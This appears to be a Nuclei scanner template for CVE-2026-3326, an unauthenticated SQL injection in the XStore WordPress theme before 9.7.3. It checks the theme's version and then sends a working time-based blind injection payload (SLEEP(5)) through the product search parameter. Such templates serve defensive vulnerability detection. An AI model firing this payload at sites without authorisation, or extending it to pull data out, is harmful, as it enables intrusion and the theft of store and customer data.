Description
The Xstore WordPress theme before 9.7.3 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection
The Xstore WordPress theme before 9.7.3 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection
id: CVE-2026-3326
info:
name: XStore Theme < 9.7.3 - SQL Injection
author: VixianSchool
severity: high
description: |
The Xstore WordPress theme before 9.7.3 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection
impact: |
Unauthenticated attackers can extract arbitrary data from the WordPress database, including credentials, session tokens, and WooCommerce customer records.
remediation: |
Update XStore theme to version 9.7.3 or later.
reference:
- https://wpscan.com/vulnerability/2c5bdb17-8b12-45b5-878b-627056dc8956/
- https://nvd.nist.gov/vuln/detail/CVE-2026-3326
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2026-3326
epss-score: 0.01866
epss-percentile: 0.7823
cwe-id: CWE-89
metadata:
max-request: 2
verified: true
tags: cve,cve2026,wordpress,wp,wp-theme,sqli,xstore
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/themes/xstore/style.css"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "XStore"
internal: true
- type: dsl
dsl:
- 'compare_versions(version, "< 9.7.3")'
internal: true
extractors:
- type: regex
name: version
part: body
group: 1
regex:
- 'Version:\s*([0-9.]+)'
internal: true
- raw:
- |
@timeout: 20s
GET /?s=test%27)%20AND%20(SELECT%208039%20FROM%20(SELECT(SLEEP(5)))HQgJ)%20AND%20(%27hyMm%27=%27hyMm&et_search=true&post_type=product HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration >= 5'
- 'status_code != 404'
condition: and
# digest: 4a0a00473045022068ca444becf1e7cf8bd18308b2ae144bee61bb977f9356844b7a287304b475e20221008f7ec1970396f771f56ae0e19d19b2a8253d66540b3b17c873ae43a47b7c2b9c:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.